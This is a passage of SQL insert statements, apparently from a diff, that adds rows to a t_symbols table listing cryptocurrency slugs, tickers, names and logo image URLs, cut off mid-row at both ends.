'Gwaycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gwaycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3009, 'fundtoken', 'FUNDZ', 'FundToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fundtoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3010, 'klimatas', 'KTS', 'Klimatas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/klimatas.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3011, 'engagement-token', 'ENGT', 'Engagement Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/engagement-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3012, 'bitcointoken', 'BTCT', 'Bitcoin Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcointoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3013, 'mktcoin', 'MKT', 'MktCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mktcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3014, 'kun', 'KUN', 'KUN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kun.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3015, 'native-coin', 'N8V', 'NativeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/native-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3016, 'aegis', 'AGS', 'Aegis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aegis.png', NULL); +INSERT INTO `t_symbols` VALUES (3017, 'duo-network-token', 'DUO', 'DUO Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/07ecc30888f2dffc41b025fe8597af59.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3018, 'xpa', 'XPA', 'XPA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xpa.png', NULL); +INSERT INTO `t_symbols` VALUES (3019, 'wins-live', 'WNL', 'WinStars Live', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wins-live.png', NULL); +INSERT INTO `t_symbols` VALUES (3020, 'yang', 'YNN', 'Yang', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yang.png', NULL); +INSERT INTO `t_symbols` VALUES (3021, 'genesisx', 'XGS', 'GenesisX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genesisx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3022, 'chancoin', 'CHAN', 'ChanCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3023, 'kingscoin', 'KGS', 'KINGSCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kingscoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3024, 'onz-coin', 'ONZ', 'ONZ Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onz-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3025, 'epc', 'EPC', 'EPC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/epc.png', NULL); +INSERT INTO `t_symbols` VALUES (3026, 'metamorph', 'METM', 'MetaMorph', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metamorph.png', NULL); +INSERT INTO `t_symbols` VALUES (3027, 'playloteo', 'LOTEU', 'LOTEO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playloteo.png', NULL); +INSERT INTO `t_symbols` VALUES (3028, 'endorsit-shares', 'EDS', 'Endorsit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/endorsit-shares.png', NULL); +INSERT INTO `t_symbols` VALUES (3029, 'mano-coin', 'MANO', 'Mano Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mano-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3030, 'dalecoin', 'DALC', 'Dalecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dalecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3031, 'nos', 'BIND', 'Compendia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nos.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3032, 'data-transaction-token', 'XD', 'Data Transaction Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/data-transaction-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3033, 'cymt', 'CYMT', 'CyberMusic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cymt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3034, 'zenad', 'ZND', 'Zenad', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zenad.png', NULL); +INSERT INTO `t_symbols` VALUES (3035, 'connectjob', 'CJT', 'ConnectJob', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/connectjob.png', NULL); +INSERT INTO `t_symbols` VALUES (3036, 'adultchain', 'XXX', 'AdultChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adultchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3037, 'gfn', 'GFN', 'Game Fanz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gfn.png', NULL); +INSERT INTO `t_symbols` VALUES (3038, 'tracto', 'TRCT', 'Tracto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tracto.png', NULL); +INSERT INTO `t_symbols` VALUES (3039, 'mix', 'MIX', 'mix', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mix.png', NULL); +INSERT INTO `t_symbols` VALUES (3040, 'caluracoin', 'CLC', 'CaluraCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/caluracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3041, 'bitquark', 'BTQ', 'BitQuark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BitQuarkCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3042, 'fairgame', 'FAIR', 'FairGame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fairgame.png', NULL); +INSERT INTO `t_symbols` VALUES (3043, 'zeuscrowdfunding', 'ZEUS', 'ZeusNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeuscrowdfunding.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3044, 'yearn-finance-bit', 'YFBT', 'Yearn Finance Bit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yearn-finance-bit.png', NULL); +INSERT INTO `t_symbols` VALUES (3045, 'paws-fund', 'PAWS', 'Paws Funds', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paws-fund.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3046, 'fintab', 'FNTB', 'FinTab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fintab.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3047, 'bytecent', 'BYC', 'Bytecent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytecent.png', NULL); +INSERT INTO `t_symbols` VALUES (3048, 'investdigital', 'IDT', 'InvestDigital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/investdigital.png', NULL); +INSERT INTO `t_symbols` VALUES (3049, 'eight-hours', 'EHRT', 'Eight Hours', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eight-hours.png', NULL); +INSERT INTO `t_symbols` VALUES (3050, 'virta-unique-coin', 'VUC', 'Virta Unique Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/virta-unique-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3051, 'letitride', 'LIR', 'LetItRide', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/LetItRide_Dice.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3052, 'snbl', 'SNBL', 'Snowball Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snbl.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3053, 'bigup', 'BIGUP', 'BigUp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bigup.png', NULL); +INSERT INTO `t_symbols` VALUES (3054, 'coindeal-token', 'CDL', 'CoinDeal Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coindeal-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3055, 'bitcoal', 'COAL', 'BitCoal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoal.png', NULL); +INSERT INTO `t_symbols` VALUES (3056, 'doubloon', 'BOAT', 'BOAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/doubloon.png', NULL); +INSERT INTO `t_symbols` VALUES (3057, 'bold', 'BOLD', 'Boldman Capital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3058, 'kmx', 'KMX', 'KIMEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kmx.png', NULL); +INSERT INTO `t_symbols` VALUES (3059, 'infocoin', 'INFO', 'INFOCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3060, 'altbet', 'ABET', 'Altbet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/altbet.png', NULL); +INSERT INTO `t_symbols` VALUES (3061, 'straks', 'STAK', 'STRAKS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/straks.png', NULL); +INSERT INTO `t_symbols` VALUES (3062, 'coinmegatrend', 'CMTR', 'CoinMegaTrend', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinmegatrend.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3063, 'independent-money-system', 'IMS', 'Independent Money System', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/IMScrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3064, 'embers', 'MBRS', 'Embers', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/embers.png', NULL); +INSERT INTO `t_symbols` VALUES (3065, 'hippofinance', 'HIPPO', 'HippoFinance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hippofinance.png', NULL); +INSERT INTO `t_symbols` VALUES (3066, 'wbt', 'WBT', 'Whalesburg', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wbt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3067, 'decash', 'DESH', 'DeCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decash.png', NULL); +INSERT INTO `t_symbols` VALUES (3068, 'profile-utility-token', 'PUT', 'Profile Utility Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/profile-utility-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3069, 'beetle-coin', 'BEET', 'Beetlecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beetle-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3070, 'dscb', 'DSCB', 'DSCB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dscb.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3071, 'shield-xsh', 'XSH', 'SHIELD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shield-xsh.png', NULL); +INSERT INTO `t_symbols` VALUES (3072, 'gold-poker', 'GPKR', 'Gold Poker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gold-poker.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3073, 'billarycoin', 'BLRY', 'BillaryCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BillaryCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3074, 'zayedcoin', 'ZYD', 'Zayedcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zayedcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3075, 'iconic', 'ICON', 'Iconic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iconic.png', NULL); +INSERT INTO `t_symbols` VALUES (3076, 'hqt', 'HQT', 'HyperQuant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hqt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3077, 'connect-coin', 'XCON', 'Connect Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/442933f00ee27b08eec206ac888a1b8b.png', NULL); +INSERT INTO `t_symbols` VALUES (3078, 'xgox', 'XGOX', 'XGOX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xgox.png', NULL); +INSERT INTO `t_symbols` VALUES (3079, 'stronghands-masternode', 'SHMN', 'StrongHands Masternode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stronghands-masternode.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3080, 'opus', 'OPT', 'Opus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/opus.png', NULL); +INSERT INTO `t_symbols` VALUES (3081, 'elcoin-el', 'EL', 'Elcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elcoin-el.png', NULL); +INSERT INTO `t_symbols` VALUES (3082, 'thorecash', 'TCH', 'Thore Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thorecash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3083, 'royal-kingdom-coin', 'RKC', 'Royal Kingdom Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/RKC_ICO.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3084, '8x8-protocol', 'EXE', '8X8 Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/8x8-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3085, 'olympic', 'OLMP', 'Olympic Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/olympic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3086, 'hero-token', 'RAISE', 'Raise', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hero-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3087, 'wte', 'WTE', 'wte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wte.png', NULL); +INSERT INTO `t_symbols` VALUES (3088, 'exx-token', 'ET', 'EXX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exx-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3089, 'dmscript', 'DMST', 'DMScript', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dmscript.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3090, 'squirrel-finance', 'NUTS', 'Squirrel Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/squirrel-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (3091, 'ccuniverse', 'UVU', 'CCUniverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ccuniverse.png', NULL); +INSERT INTO `t_symbols` VALUES (3092, 'veltor', 'VLT', 'Veltor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veltor.png', NULL); +INSERT INTO `t_symbols` VALUES (3093, 'yellow-token', 'YEL', 'Yellow Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/YellowToken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3094, 'renos', 'RNS', 'Renos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/RenosCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3095, 'neuro', 'NRO', 'Neuro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neuro.png', NULL); +INSERT INTO `t_symbols` VALUES (3096, 'amsterdamcoin', 'AMS', 'AmsterdamCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amsterdamcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3097, 'medibit', 'MEDIBIT', 'MediBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medibit.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3098, 'coinonat', 'CXT', 'Coinonat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinonat.png', NULL); +INSERT INTO `t_symbols` VALUES (3099, 'fortuna', 'FOTA', 'Fortuna', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fortuna.png', NULL); +INSERT INTO `t_symbols` VALUES (3100, 'hempora', 'HEMP', 'Hempora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hempora.png', NULL); +INSERT INTO `t_symbols` VALUES (3101, 'kodcoin', 'KOD', 'KODcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kodcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3102, 'argentum', 'ARG', 'Argentum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/argentum.png', NULL); +INSERT INTO `t_symbols` VALUES (3103, 'invacio', 'INV', 'Invacio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/invacio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3104, 'spectrumx', 'SPE', 'SpectrumX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spectrumx.png', NULL); +INSERT INTO `t_symbols` VALUES (3105, 'aidoc', 'AIDOC', 'AI Doctor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aidoc.png', NULL); +INSERT INTO `t_symbols` VALUES (3106, 'ibt', 'IBT', 'ICOBay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ibt.png', NULL); +INSERT INTO `t_symbols` VALUES (3107, 'crystal-clear', 'CCT', 'Crystal Clear', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crystal-clear.png', NULL); +INSERT INTO `t_symbols` VALUES (3108, 'mri', 'MRI', 'Mirai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mri.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3109, 'ecocoin', 'ECO', 'EcoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3110, 'token-guard', 'TKGN', 'Token Guardian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/token-guard.png', NULL); +INSERT INTO `t_symbols` VALUES (3111, 'bul', 'BUL', 'Bulleon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bul.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3112, 'monacocoin', 'XMCC', 'Monoeci', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monacocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3113, 'grimcoin', 'GRIM', 'Grimcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/grimcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3114, 'bitasean', 'BAS', 'BitAsean', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitasean.png', NULL); +INSERT INTO `t_symbols` VALUES (3115, 'concoin', 'CONX', 'Concoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/con_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3116, 'kwatt', 'KWATT', '4NEW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kwatt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3117, 'wlk', 'WLK', 'Wolk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wlk.png', NULL); +INSERT INTO `t_symbols` VALUES (3118, 'macron', 'MCRN', 'MACRON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/macron.png', NULL); +INSERT INTO `t_symbols` VALUES (3119, 'uralscoin', 'URALS', 'Urals Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uralscoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3120, 'mooncoin', 'MOON', 'Mooncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mooncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3121, 'care', 'CARE', 'Carebit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/care.png', NULL); +INSERT INTO `t_symbols` VALUES (3122, 'worldofdefishtoken', 'WOD', 'World of Defish', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/worldofdefish.png', NULL); +INSERT INTO `t_symbols` VALUES (3123, 'kind-ads-token', 'KIND', 'Kind Ads', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kind-ads-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3124, 'fabric-token', 'FT', 'Fabric Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fabric-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3125, 'sparks', 'SPK', 'Sparks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Sparks_Crypro.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3126, 'evencoin', 'EVN', 'EvenCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evencoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3127, 'cryptrust', 'CTRT', 'Cryptrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptrust.png', NULL); +INSERT INTO `t_symbols` VALUES (3128, 'futurax', 'FTXT', 'FUTURAX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/futurax.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3129, 'herbalist-token', 'HERB', 'Herbalist', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/herbalist-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3130, 'staker', 'STR', 'Staker', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/staker.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3131, 'fantasy-sports', 'DFS', 'Fantasy Sports', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantasy-sports.png', NULL); +INSERT INTO `t_symbols` VALUES (3132, 'lud', 'LUD', 'Ludos Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lud.png', NULL); +INSERT INTO `t_symbols` VALUES (3133, 'decentralized-asset-trading-platform', 'DATP', 'Decentralized Asset Trading Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-asset-trading-platform.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3134, 'hollywoodcoin', 'HWC', 'HollyWoodCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Hollywood_Coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3135, 'boat-pilot-token', 'NAVY', 'BoatPilot Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boat-pilot-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3136, 'tic', 'TIC', 'Thingschain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tic.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3137, 'bitcoin-unicorn', 'BTCUI', 'Bitcoin Unicorn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-unicorn.png', NULL); +INSERT INTO `t_symbols` VALUES (3138, 'soma', 'SCT', 'Soma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SomaEcomm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3139, 'spectrumcash', 'XSM', 'SpectrumCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spectrumcash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3140, 'kzcash', 'KZC', 'Kzcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cash_kz.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3141, 'insolar-xns', 'XNS', 'Insolar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insolar-xns.png', NULL); +INSERT INTO `t_symbols` VALUES (3142, 'combit', 'COMBI', 'ComBit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/combit.png', NULL); +INSERT INTO `t_symbols` VALUES (3143, 'lovcoin', 'LOVC', 'Love Wine Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lovcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3144, 'ucn', 'UCN', 'ucn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ucn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3145, 'funcoin', 'FUNC', 'FUNCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/funcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3146, 'uchain', 'UCN', 'UChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3147, 'cryptoeenergy', 'CNRG', 'CryptoEnergy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/cryptoEenergy.png', NULL); +INSERT INTO `t_symbols` VALUES (3148, 'tvnt', 'TVNT', 'TravelNote', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tvnt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3149, 'bridgecoin', 'BCO', 'BridgeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bridgecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3150, 'skyhub-coin', 'SHB', 'SkyHub Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skyhub-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3151, 'couchain', 'COU', 'Couchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/couchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3152, 'cryptonodes', 'CNMC', 'Cryptonodes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptonodes.png', NULL); +INSERT INTO `t_symbols` VALUES (3153, 'paytomat', 'PTI', 'Paytomat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/9f2473c775b6f8f4b657a5bb8752a054.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3154, 'bonpay', 'BON', 'Bonpay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bonpay.png', NULL); +INSERT INTO `t_symbols` VALUES (3155, 'biobar', 'BIOB', 'BioBar', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3156, 'btl', 'BTL', 'BitLong', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btl.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3157, 'nekonium', 'NUKO', 'Nekonium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/NekoniumDev.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3158, 'save-and-gain', 'SANDG', 'Save and Gain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/save-and-gain.png', NULL); +INSERT INTO `t_symbols` VALUES (3159, 'cannation', 'CNNC', 'Cannation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cannation.png', NULL); +INSERT INTO `t_symbols` VALUES (3160, 'sydpak', 'SDP', 'SydPak', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SydpakCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3161, 'block-logic', 'BLTG', 'Block-Logic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/block-logic.png', NULL); +INSERT INTO `t_symbols` VALUES (3162, 'wixsite', 'VARIUS', 'Varius', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wixsite.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3163, 'joincoin', 'J', 'Joincoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Joincoin_Team.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3164, 'archetypal-network', 'ACTP', 'Archetypal Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/archetypal-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3165, 'javascript-token', 'JS', 'JavaScript Token', 